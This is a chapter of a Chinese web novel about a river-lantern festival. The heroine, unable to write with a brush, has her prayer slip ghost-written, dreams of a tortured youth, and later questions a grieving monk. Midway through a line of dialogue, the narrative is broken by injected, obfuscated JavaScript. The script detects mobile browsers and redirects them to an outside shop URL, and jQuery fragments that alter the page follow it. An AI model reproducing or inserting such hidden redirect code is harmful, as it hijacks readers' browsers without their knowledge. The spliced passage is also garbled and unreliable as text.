32. 河灯会

作品:《我的甲方是江神

    醒神节最后的一个节目是河灯会,届时碇城会开放一条连通碇江的河渠,名为走灯渠。


    走灯渠是只有醒神节河灯会期间才会开放,平日里不为人所用,这渠与碇江形成一个环形的河道,供河灯通过。


    届时碇城百姓会在碇江中放各式各样祈福的河灯,河灯会顺着水流汇入河渠,最终流回起点。


    这就有人问了,你灯放水里难道不会直接漂到下游吗?


    当然会,所放的河灯可能会漂到下游,也可能会因为材质而半途被江水,亦或是被河岸的草木勾住无法前进,因此,最后能够回到起点的河灯必然是存在损耗的。


    这就出现了“千灯回五百,半数顺遂江神佑。”的说法。


    意思就是最后能够达到终点的灯基本上只有原来的一半,甚至更少,而能回来的灯说明他被江神认可保佑,这些灯将被原主人领回,供在家中。


    “河灯会时灵主是最先放灯的,流程还需再三确认。”江钦平按部就班地嘱咐道:


    “祈愿条需在场上写好,内容必须是祈求碇城风调雨顺之类的,不可存在其他污言秽语。”


    谢延平日里对着这人面上都带着三分讥讽的笑意,此时笑容却无端收回。


    “现场写?”


    “对。”


    “毛笔?”


    “毛锥。”


    毛锥?谢延眉头一拧,双目空洞地望向天边的一抹红霞。


    江钦平见她陷入沉思,不禁疑惑:“有什么问题吗?”


    问题可大着呢!谢延心中腹诽,毛锥说白了不就是毛笔吗?不过这不是问题,问题是她提笔画符,字体宛如纸上刮了八级台风,从圆珠笔到毛笔无一幸免……写祈愿条?


    这东西神仙看吗?


    就算江柏真看,他看得懂吗?


    “实不相瞒,我字丑。”谢延实话实说,这事没必要隐瞒。


    江钦平像是完全没预料到她是这个问题,愣怔许久:“……这,有多丑?”


    眼见为实吗?谢延眨巴眨巴眼,勾唇浅笑,也不急着描述。顺手在一打空白的祈愿纸扯出一张铺在桌案上,毛笔蘸了几下墨水。


    谢延提起笔来眼神都变了,目光坚定有神,笔势矫健流畅,笔走龙蛇,一气呵成。


    这架势,颇具大家之范。江钦平心中好奇她能写得能有多丑?凑近一看,却是倒吸一口凉气。


    江钦平反复揉了揉眼睛,再仔细观察了许久,依旧辨别不出写的什么东西,他向来凉薄的嘴脸像是被一阵妖风席卷,只剩茫然。他嘴角抽抽,才勉强接受了这被猪拱过的字体是人写的……


    谢延挠了挠头,讪讪笑道:“我尽力了,这样的祈愿条写上去可以吗?”


    “不可以!!”江钦平直截了当地拒绝。


    “灵主的祈愿条要亮给全城的百姓观看,决计不能用这种字!”


    “那咋办?”


    江钦平此时懊悔不堪,前几天光顾着练舟祭舞了,谁曾想这人在这个环节还能出岔子!


    他沉吟片刻:“只能提前写。”


    “哦……”谢延点了点头,“那我到时候干嘛?”


    “装样子,把你刚才写字的架势拿出来就够了。”


    “好。”谢延笑着应允,毫不客气道:“那你帮我写,现在。”


    江钦平:“……”


    ……


    戌时,暮色四合,星月皎洁,河灯会如期而至,江堤上再次围满了人,望风楼依旧被三大家的人占据,不同的是,这次拳窑的人一个也没有来。


    谢延眉峰微不可察地一蹙,随即马上恢复原样。


    江边祭台上摆着一张桌子,笔墨纸砚早已备齐,还有一只精美的河灯被放在桌上。


    时间一到,谢延循规蹈矩地上了祭台,一通行云流水的操作后拿出垫在下面的,江钦平早已为她写好的祈愿条,递给侯在一旁的女官。


    女官面无表情地接过祈愿条,看了一眼,脸色微变,但还是扬声宣读其中内容:


    “仅以诚心,敬祈。”


    “为有牺牲多壮志,敢叫日月换新天。”


    “望神明庇佑,遂我此心。”


    “谢及玉谨祈。”


    言毕,场上议论声不绝于耳。


    “他在干嘛?灵主不是都求碇城来年风调雨顺或是繁荣昌盛的吗?”


    “他求的是什么意思?谁牺牲了?换什么天?!简直胆大包天!”


    ……


    女官抬手虚按:“肃静!”


    场内这才安静许多,女官将祈愿条再次递回给谢延时,忍不住多看了她两眼。


    谢延无动于衷,默不作声地将祈愿条一卷,塞到河灯中,慢条斯理地点燃灯芯,随即端着河灯一步一步地往江边走去。


    旁人见灵主都这反应了,只能安安分分地跟着,等到谢延放了灯后他们才能放灯。


    灵主的河灯是莲花形状的,依旧是镶着金边的贵东西,比寻常百姓家的河灯大好几倍,一人合抱刚好,入水最早,行得也快,不出意外的话,往往是第一个飘回放灯处的。


    河灯入水,灯盏初时挤在岸线,谢延俯下身来轻轻一推,硕大的河灯才渐渐地随着水流起落,摇摇曳曳地向下游漂去。


    灯芯的光在波心碎成金鳞,点亮一小片黑夜。


    见谢延放完灯后,身后蠢蠢欲动的百姓如狼似虎地涌到江边,都争先恐后地要投放承载自家心愿的河灯。


    一时间,水上霓虹万千,各式的河灯连成一大片蜿蜒光带,照亮整片江堤,宛如天边银河落江。


    谢延驻足望着眼前景,小臂上鸡皮疙瘩都立起来了……她从未见过这般震撼人心的景致。


    现代谢延所在的地方禁烟火禁孔明灯禁河灯,这种画面她最多在手机上才能窥见一二,其实心中毫无波澜,甚至还觉得这东西费钱……


    难怪古人都爱放灯,这是真好看啊!


    岸边的百姓比肩驻足,不少人对着碇江上恢宏的灯海十指并拢许愿,孩童垫脚望灯影,老人负手静立,男女老少面上皆带笑意,场面一度地和谐。


    谢延的心中的浮躁也不知是被什么东西所抚平。大概,她打心里就很喜欢这种万家灯火,岁月静好的感觉吧?


    全城人对着碇江方向观望许久,直到最后一盏河灯漂离视线后,才三三两两地离开。


    碇江的水流湍急,这是众所周知的,是以河灯漂回来不需要太长时间,但这是绕城一周诶!河灯绕回来少说也要一个多时辰,因此百姓不会傻傻地在这里等着。依照传统,碇城百姓会去逛庙会,在亥时中回到江堤观灯。


    灵主的身份不宜在街上游荡,正巧谢延没那个兴致逛街,她跟女官打了个招呼,就近找了个休憩的小棚睡了。


    太困太困,这灵主真不是人能当的!


    谢延基本上头刚沾桌面就撑不住了,尽管四周都是烟火喧嚣,但到了她耳边就像被过滤了一样,声音变得很远……


    半梦半醒间,谢延感觉有什么人把什么东西盖到她身上,可是她的眼皮很重,睁不开眼,好多声音。


    但她不着急,因为一股淡淡的清茶香扑鼻而来,她知道那是江柏。


    “爹!我不需要,你住手!”一个声音贯穿谢延的双耳。


    谢延眉心一蹙,转头望向声音的来源,但那里很远,只有一个背影。


    远远望去,一个白衣少年被悬吊着,正在撕心裂肺地哭喊着。


    他好像,很痛苦。


    他是谁?


    谢延内心深处其实有答案,但不大情愿相信,只得极力往前靠近,企图证明些什么。


    “我不要成神!成神对我到底有什么用?”


    “有什


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17358827|197915||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    么用!”


    男孩嘶吼着,挣扎着,但依旧不被人理睬,数不尽的鲜血浸染白衣,滴滴答答地落到地面。


    谢延想要冲上前去,那是江柏!为什么要这样悬挂他?!他不是你们的什吗?


    她下意识地想要过去为江柏松绑,可不知为何,眼前的少年总是可望不可即,总是在她快要碰到时又远去!


    “砰——”


    谢延身上一阵钝痛,她猝然睁开双眼,发觉自己连人带桌一起摔到地上。


    ??!


    怎会如此?


    趴着睡也能塌,她睡相是有多差?


    还有刚才那个,是梦吗?谢延心有余悸,正思付间,她却忽然一顿,她肩上披着一条披风,不知道从哪来的。


    她缓缓爬起身来,将披风一展,铺于桌面。


    谢延敢确定自己绝对没见过这个,她眨巴眨巴眼,犹豫再三,觉得先将披风叠好放在桌面。


    在看天色,时辰快到了,已经有不少人开始往江堤的方向聚拢。


    谢延调整了一下着装,气定神闲地往走灯渠处靠近。


    一位僧人的背影在人群中格外地吸睛,谢延几乎一眼就认出了那人的身份。


    这人身形玉树临风,单看背面,书卷气都快溢出屏幕了,不是那位为爱当和尚的梁家大少爷梁涣之吗?


    看这架势,是来等河灯的?


    梁涣之没注意到身后有人在看自己,兀自对着河面轻叹。


    “和尚,醒神佳节,何故叹息?”谢延凑近去问。


    听着这声,梁涣之似乎被吓了一跳,浑身一僵,木然地回过头来,行了一礼:“灵主大人。”


    “免礼。”谢延抬手虚扶,提醒道:“方才的问题,你尚未回答。”


    谢延觉得自己对高材生讲话,自己说话的语气都变得有文化了。而周围的碇城百姓一听谢延跑去跟梁涣之搭话,纷纷竖起耳朵。


    梁涣之扫了一眼四周的人,权当没看到,坦然道:“无他,思念吾妻罢了。”


    “碇城的和尚也可娶妻?”


    “成僧前所娶。”


    “那为何成僧?”


    “妻死,封心锁爱。”


    “妻何故死?”


    “奸人所害,沉江而亡。”


    ??!这么敢说的吗?不儿,还有,沉江死的?!谢延之前可没听过这一段,她半开玩笑地问道:“汝妻可姓封,名竹月?”


    谢延本是随口一说,可没想到能无意间引爆大瓜!


    只见梁涣之眼色一暗,低声道:“封竹月是我梁涣之今生今世最爱的人,这一点,不会改变!”


    声音不大,却字字珠玑。


    谢延愣怔地点了点头,还想变着法子追问些什么,却忽然意识到此处人多口杂,不宜再多问。


    此时走灯渠那边站满了各家百姓,正伸长了脖子张望,心中皆祈祷着自己的灯能够漂回来。


    他们见到谢延走上前,纷纷让出一条道。


    谢延面无表情地走上前来,跟着等那灯,心中却不免有几分激动。


    其实这河灯会还挺有意思的,跟古代曲水流觞有异曲同工之妙。


    而灵主的灯最先放的,还是最大的,是以无论是从玄学还是科学的角度来说,都是灵主的灯最先回到放灯处,历来醒神节都是如此。


    “看!灯回来了!”孩童稚嫩的叫声打破江堤焦灼空寂的气氛。


    众人忙不迭抬眼望去,只见一盏大荷花灯孤零零地浮在水面,像是长了意识一般,直直地往谢延的方向漂过来。


    谢延面上带着笑,赶忙蹲下身来准备接灯。


    等她把灯捡上来后,一抬头,却发现四周安静得可怕。


    谢延:?


    只一秒,她就发现问题所在——


    怎么只有她一个灯回来了??!